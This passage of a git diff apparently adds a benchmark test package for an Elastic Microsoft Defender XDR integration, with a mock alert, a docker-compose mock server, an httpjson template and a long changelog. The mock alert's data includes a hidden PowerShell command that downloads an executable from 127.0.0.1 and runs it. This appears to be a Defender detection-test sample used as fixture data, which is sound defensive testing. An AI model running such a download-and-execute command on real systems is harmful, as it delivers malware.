"S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 8224, "parentProcessId": 5772, "processCommandLine": "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'", "processCreationDateTime": "2023-10-20T09:51:39.4997961Z", "parentProcessCreationDateTime": "2023-10-20T09:51:19.5064237Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "a72c41316307889e43fe8605a0dca4a72e72a011", "sha256": "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80", "fileName": "powershell.exe", "filePath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0", "fileSize": 491520, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } } ] }
+            ]
+          }
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml
new file mode 100644
index 0000000000..52f70ff8ab
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml
@@ -0,0 +1,16 @@
+services:
+  m365-defender-alert-http:
+    image: docker.elastic.co/observability/stream:v0.20.0
+    hostname: m365_defender
+    ports:
+      - 8082
+    volumes:
+      - ./alert-http-mock-config.yml:/config.yml
+      - ${SERVICE_LOGS_DIR}:/var/log
+    environment:
+      PORT: 8082
+    command:
+      - http-server
+      - --exit-on-unmatched-rule
+      - --addr=:8082
+      - --config=/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md
rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
new file mode 100644
index 0000000000..339a7f8eb4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
@@ -0,0 +1,643 @@
+# newer versions go on top
+- version: "5.11.1"
+  changes:
+    - description: Fix table formatting in README.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17797
+- version: "5.11.0"
+  changes:
+    - description: | 
+        Add support for "CloudAuditEvents", "CloudProcessEvents", and 
+        "CloudStorageAggregatedEvents" table in event data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17612
+- version: "5.10.1"
+  changes:
+    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17623
+- version: "5.10.0"
+  changes:
+    - description: "Add support for \"BehaviorInfo\", \"BehaviorEntities\", \"MessageEvents\", \n\"MessageUrlInfo\", and \"MessagePostDeliveryEvents\" table in event data stream.\n"
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17512
+- version: "5.9.0"
+  changes:
+    - description: Add client secret authentication support for Azure Event Hub with RBAC.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17245
+- version: "5.8.0"
+  changes:
+    - description: Improve layout by synchronizing titles and description of configuration options. Remove `Microsoft Dfender XDR` from data stream toggles.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17362
+- version: "5.7.0"
+  changes:
+    - description: Add tags to ingest pipelines.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17435
+    - description: Update error message format in ingest pipelines.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17435
+- version: "5.6.1"
+  changes:
+    - description: Remove duplicate security-solution-default tag references
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17020
+- version: "5.6.0"
+  changes:
+    - description: Change default URL for the `vulnerability` data stream to `https://api.security.microsoft.com`.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17276
+    - description: >-
+        Improve documentation with correct links, updated input titles and descriptions for all data streams. Update UI text to reflect updated titles.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17276
+- version: "5.5.0"
+  changes:
+    - description: >-
+        Enhance ECS mappings across all datasets. Add navigation panel and refactor the dashboards.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16676
+- version: "5.4.0"
+  changes:
+    - description: Add support for OAuth2 Endpoint Params option for alert and incident data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16628
+- version: "5.3.1"
+  changes:
+    - description: Fix table rendering issue in documentation.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16615
+- version: "5.3.0"
+  changes:
+    - description: >-
+        Update documentation to reflect recent changes in vulnerability data stream including replacement of the List Vulnerabilities and List Machines API references with the SoftwareVulnerabilitiesExport API, using the modern integrations documentation layout.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16152
+- version: "5.2.0"
+  changes:
+    - description: Add cloudsecurity_cdr sub category label
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16146
+- version: "5.1.1"
+  changes:
+    - description: Fix construction of `file.path` fields in the incident data stream to conform to ECS.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15728
+- version: "5.1.0"
+  changes:
+    - description: Add support for OAuth2 Endpoint Params option to vulnerability data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15749
+    - description: Handle expired URLs in vulnerability data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15749
+- version: "5.0.1"
+  changes:
+    - description: Update transform to filter out documents containing an error.message from vulnerability latest index
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15722
+- version: "5.0.0"
+  changes:
+    - description: |
+        Fetch vulnerability data using SoftwareVulnerabilitiesExport API endpoint.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15603
+    - description: "The following fields are no longer available in the new implementation: \"cloud.provider\", \"cloud.resource_id\", \n\"cloud.instance.id\", \"host.geo\", \"host.ip\", \"host.risk.calculated_level\", \"related.ip\", \n\"vulnerability.description\", \"vulnerability.published_date\", \"vulnerability.score.version\".\n"
+      type: breaking-change
+      link: https://github.com/elastic/integrations/pull/15603
+- version: "4.2.0"
+  changes:
+    - description: Prevent updating fleet health status to degraded.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15415
+- version: "4.1.0"
+  changes:
+    - description: Add `vulnerability_workflow` sub category labels.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15151
+- version: "4.0.2"
+  changes:
+    - description: Ensure large `$skip` API parameter values are correctly formatted in `vulnerability` data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15392
+    - description: Supress expected empty template health updates.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15392
+- version: "4.0.1"
+  changes:
+    - description: Extract `process.name` from `process.command_line` in alert, event, and incident data streams.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15226
+- version: "4.0.0"
+  changes:
+    - description: "Add mapping changes and latest transform in `vulnerability` data stream for \nCloud Detection and Response (CDR) vulnerability workflow.\n"
+      type: breaking-change
+      link: https://github.com/elastic/integrations/pull/14809
+- version: "3.14.2"
+  changes:
+    - description: Fix handling of empty string IP values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14857
+- version: "3.14.1"
+  changes:
+    - description: Fix agent handling of empty and error results in vulnerability data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14783
+- version: "3.14.0"
+  changes:
+    - description: "Enhanced error handling in the CEL program for API calls to prevent `no such key: product_batch_size` errors \nby ensuring proper propagation of the `product_batch_size` configuration during failures.\n"
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14722
+- version: "3.13.0"
+  changes:
+    - description: Add `process.name` ECS mapping in alert, event, and incident data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14448
+- version: "3.12.0"
+  changes:
+    - description: Use `terminate` processor instead of `fail` processor to handle agent errors.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14393
+- version: "3.11.0"
+  changes:
+    - description: |
+        Rebrand integration to Microsoft Defender XDR to align with Microsoft's current branding.
+        This is a superficial branding update only and does not affect existing functionalities.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14350
+- version: "3.10.0"
+  changes:
+    - description: Standardize user fields processing across integrations.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14137
+- version: "3.9.1"
+  changes:
+    - description: Add temporary processor to remove the fields added by the Agentless policy.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14172
+- version: "3.9.0"
+  changes:
+    - description: ECS mapping improvements.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14085
+- version: "3.8.0"
+  changes:
+    - description: Add vulnerability data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13595
+- version: "3.7.0"
+  changes:
+    - description: Set `device.id` in all datasets and `application.name` in event dataset.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13931
+- version: "3.6.0"
+  changes:
+    - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in all data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13984
+- version: "3.5.0"
+  changes:
+    - description: Normalize `event.severity` values across EDR integrations.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13955
+- version: "3.4.0"
+  changes:
+    - description: Set `cloud.instance.id` in event dataset.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13769
+- version: "3.3.1"
+  changes:
+    - description: Fix default request trace enabled behavior.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13712
+- version: "3.3.0"
+  changes:
+    - description: Improve `user.name` handling.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13554
+- version: "3.2.0"
+  changes:
+    - description: Enable request trace log removal.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13452
+- version: "3.1.0"
+  changes:
+    - description: Improve performance of event ingest pipeline.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13335
+- version: "3.0.1"
+  changes:
+    - description: Fix `event.category` value for the AdvancedHunting-AlertInfo event.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13185
+- version: "2.25.0"
+  changes:
+    - description: Add a toggle button for including unknown members in properties of evolvable enum types.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13166
+- version: "2.24.0"
+  changes:
+    - description: Enable Agentless deployment.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12891
+- version: "2.23.0"
+  changes:
+    - description: Add email ECS fields to alert data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12888
+- version: "2.22.1"
+  changes:
+    - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12781
+- version: "2.22.0"
+  changes:
+    - description: Update Kibana constraint to support 9.0.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12593
+- version: "2.21.1"
+  changes:
+    - description: Fix mapping of Defender InternetMessageId and NetworkMessageId values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12546
+    - description: Fix removal behavior for ECS-mapped `m365_defender.event.internet_message_id` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12546
+- version: "2.21.0"
+  changes:
+    - description: Add ASN enrichment for IP addresses.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12449
+- version: "2.20.0"
+  changes:
+    - description: Make token endpoint configurable for Alert data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12401
+- version: "2.19.0"
+  changes:
+    - description: Add support for `IdentityInfo` advanced hunting table.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12214
+- version: "2.18.0"
+  changes:
+    - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12109
+- version: "2.17.1"
+  changes:
+    - description: Change connection_string to be a secret
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12112
+- version: "2.17.0"
+  changes:
+    - description: Do not remove `event.original` in main ingest pipeline.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12076
+- version: "2.16.0"
+  changes:
+    - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12046
+- version: "2.15.2"
+  changes:
+    - description: Fix string literals in painless scripts.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12047
+- version: "2.15.1"
+  changes:
+    - description: Add caseless fields to process events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11020
+- version: "2.15.0"
+  changes:
+    - description: Fix OS assignment for Windows devices.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10953
+    - description: Set `host.os.type` to unix for all POSIX systems without a known platform.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10953
+- version: "2.14.7"
+  changes:
+    - description: Fix pipeline errors for DNS logs.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10947
+- version: "2.14.6"
+  changes:
+    - description: Fix dashboard filters to look for correct event.severity values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10810
+- version: "2.14.5"
+  changes:
+    - description: Fix mapping issue for DNS answers field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10772
+- version: "2.14.4"
+  changes:
+    - description: Fix `host.mac` gsub processor to handle MAC addresses with `-` already present.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10798
+- version: "2.14.3"
+  changes:
+    - description: Fix sslconnectioninspected event `network.protocol` getting set to `dns`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10730
+- version: "2.14.2"
+  changes:
+    - description: Fix `network.transport` and `network.protocol` processing.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10418
+- version: "2.14.1"
+  changes:
+    - description: Fix process executable containing duplicate process name.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10280
+- version: "2.14.0"
+  changes:
+    - description: Improve ECS mappings
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10179
+- version: "2.13.0"
+  changes:
+    - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10135
+- version: "2.12.0"
+  changes:
+    - description: Make `host.ip` and `host.mac` fields conform to ECS field definition.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10120
+- version: "2.11.0"
+  changes:
+    - description: Improve detection rules support
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9860
+- version: "2.10.0"
+  changes:
+    - description: Improve handling of empty responses.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9974
+- version: "2.9.1"
+  changes:
+    - description: Drop last page events in the alerts datastream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9983
+- version: "2.9.0"
+  changes:
+    - description: Improve command line analyser.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9812
+- version: "2.8.1"
+  changes:
+    - description: Resolved ignore_malformed issues with fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9832
+- version: "2.8.0"
+  changes:
+    - description: Set sensitive values as secret and fix incorrect mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9127
+- version: "2.7.1"
+  changes:
+    - description: Handle invalid IP addresses.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9060
+- version: "2.7.0"
+  changes:
+    - description: Add support of Alert Data Stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8950
+- version: "2.6.2"
+  changes:
+    - description: Fix cursor value and query building for log data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8492
+- version: "2.6.1"
+  changes:
+    - description: Changed owners
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8943
+- version: "2.6.0"
+  changes:
+    - description: Add geoip processing to source and destination IP fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8899
+- version: "2.5.1"
+  changes:
+    - description: Fix `process.command_line` overwritten by `process.parent.command_line`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8872
+- version: "2.5.0"
+  changes:
+    - description: Limit request tracer log count to five.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8489
+- version: 2.4.0
+  changes:
+    - description: ECS version updated to 8.11.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8434
+- version: 2.3.1
+  changes:
+    - description: Remove renaming the original `message` field to `event.original`
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8090
+- version: 2.3.0
+  changes:
+    - description: ECS version updated to 8.10.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7919
+- version: 2.2.0
+  changes:
+    - description: "The format_version in the package manifest changed from 2.11.0 to 3.0.0. Removed dotted YAML keys from package manifest. Added 'owner.type: elastic' to package manifest."
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7883
+- version: "2.1.0"
+  changes:
+    - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7789
+- version: "2.0.1"
+  changes:
+    - description: Fix template snippet escaping and add event.kind for pipeline errors.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7707
+- version: "2.0.0"
+  changes:
+    - description: Major improvements in ECS field coverage and additional field mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7522
+- version: "1.17.1"
+  changes:
+    - description: Fix fingerprint processor on `log` datastream to avoid document conflicts
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7255
+- version: "1.17.0"
+  changes:
+    - description: Add support for newer Oauth Token Endpoint and fixes in some ECS mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7119
+- version: "1.16.0"
+  changes:
+    - description: Update package to ECS 8.9.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7110
+- version: "1.15.0"
+  changes:
+    - description: Document duration units.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6992
+- version: "1.14.0"
+  changes:
+    - description: Update package-spec to 2.9.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7123
+- version: "1.13.0"
+  changes:
+    - description: Convert dashboards to Lens.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6898
+- version: "1.12.0"
+  changes:
+    - description: Document valid duration units.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6706
+- version: "1.11.2"
+  changes:
+    - description: Added the mapping for user.name field into the incident data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/6731
+- version: "1.11.1"
+  changes:
+    - description: Fix event.query type to group
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/6696
+- version: "1.11.0"
+  changes:
+    - description: Ensure event.kind is correctly set for pipeline errors.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6661
+- version: "1.10.0"
+  changes:
+    - description: Update package to ECS 8.8.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6327
+- version: "1.9.0"
+  changes:
+    - description: Add and lowercase host.name field
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6057
+- version: "1.8.0"
+  changes:
+    - description: Add a new flag to enable request tracing
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6115
+- version: "1.7.1"
+  changes:
+    - description: Update event.kind to alert for Incident data stream and handle null value for AttackTechniques field in Event data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/issues/5744
+- version: "1.7.0"
+  changes:
+    - description: Update package to ECS 8.7.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5765
+- version: "1.6.2"
+  changes:
+    - description: Added categories and/or subcategories.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5123
+- version: "1.6.1"
+  changes:
+    - description: Update datastreams titles and ReadMe.
+      type: enhancement
+      link: https://github.com/elastic/integrations/issues/5408
+- version: "1.6.0"
+  changes:
+    - description: Add New Event Data Stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4962
+- version: "1.5.1"
+  changes:
+    - description: Drop empty event sets in log data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5164
+- version: "1.5.0"
+  changes:
+    - description: Update package to ECS 8.6.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4576
+- version: "1.4.3"
+  changes:
+    - description: Update API version for incident data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4893
+    - description: Mark log data stream as deprecated because it's using the older defender APIs.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4893
+- version: "1.4.2"
+  changes:
+    - description: Bugfixes for when entities fields are empty.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4865
+- version: "1.4.1"
+  changes:
+    - description: Remove duplicate fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4611
+- version: "1.4.0"
+  changes:
+    - description: Add New Incident Data Stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4435
+- version: "1.3.0"
+  changes:
+    - description: Update package to ECS 8.5.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4285
+- version: "1.2.0"
+  changes:
+    - description: Update package to ECS 8.4.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3867
+- version: "1.1.2"
+  changes:
+    - description: Fix proxy URL documentation rendering.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3881
+- version: "1.1.1"
+  changes:
+    - description: Update package name and description to align with standard wording
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3478
+- version: "1.1.0"
+  changes:
+    - description: Update package to ECS 8.3.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3353
+- version: "1.0.4"
+  changes:
+    - description: Update duplication handling to also support Redirect type alerts
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3194
+- version: "1.0.3"
+  changes:
+    - description: Add duplication handling in ingest pipeline
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3194
+- version: "1.0.2"
+  changes:
+    - description: Fix mapping for comments field and add missing fields
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3181
+- version: "1.0.1"
+  changes:
+    - description: Add documentation for multi-fields
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2916
+- version: "1.0.0"
+  changes:
+    - description: First version
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2854
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs
new file mode 100644
index 0000000000..f5684a1dc9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs
@@ -0,0 +1,76 @@
+config_version: 2
+interval: {{interval}}
+request.tracer:
+  enabled: {{enable_request_tracer}}
+  filename: "../../logs/httpjson/http-request-trace-*.ndjson"
+  maxbackups: 5
+auth.oauth2.client.id: {{client_id}}
+auth.oauth2.client.secret: {{client_secret}}
+auth.oauth2.token_url: {{login_url}}/{{tenant_id}}/{{token_endpoint}}
+auth.oauth2.scopes: {{request_url}}/.default
+{{#if oauth_endpoint_params}}
+auth.oauth2.endpoint_params: {{oauth_endpoint_params}}
+{{/if}}
+request.url: {{request_url}}/v1.0/security/alerts_v2
+{{#if http_client_timeout}}
+request.timeout: {{http_client_timeout}}
+{{/if}}
+{{#if proxy_url}}
+request.proxy_url: {{proxy_url}}
+{{/if}}
+{{#if ssl}}
+request.ssl: {{ssl}}
+{{/if}}
+request.transforms:
+  - set:
+      target: url.params.$top
+      value: {{batch_size}}
+  - set:
+      target: url.params.$skip
+      value: 0
+  - set:
+      target: url.params.$filter
+      value: 'lastUpdateDateTime ge [[.cursor.last_update_time]]'
+      default: 'lastUpdateDateTime ge [[formatDate (now (parseDuration "-{{initial_interval}}"))]]'
+  - set:
+      target: url.params.$orderby
+      value: 'lastUpdateDateTime asc'
+{{#if include_unknown_enum_members}}
+  - set:
+      target: "header.Prefer"
+      value: 'include-unknown-enum-members'
+{{/if}}
+response.pagination:
+  - set:
+      target: url.params.$filter
+      value: '[[.last_response.url.params.Get "$filter"]]'
+      fail_on_template_error: true
+      do_not_log_failure: true
+  - set:
+      target: url.params.$skip
+      value: '[[if (eq (len .last_response.body.value) {{batch_size}})]][[add (toInt (.last_response.url.params.Get "$skip")) {{batch_size}}]][[end]]'
+      fail_on_template_error: true
+      do_not_log_failure: true
+response.split:
+  target: body.value
+  ignore_empty_value: true
+cursor:
+  last_update_time:
+    value: '[[.last_event.lastUpdateDateTime]]'
+tags:
+{{#if preserve_original_event}}
+  - preserve_original_event
+{{/if}}
+{{#if preserve_duplicate_custom_fields}}
+  - preserve_duplicate_custom_fields
+{{/if}}
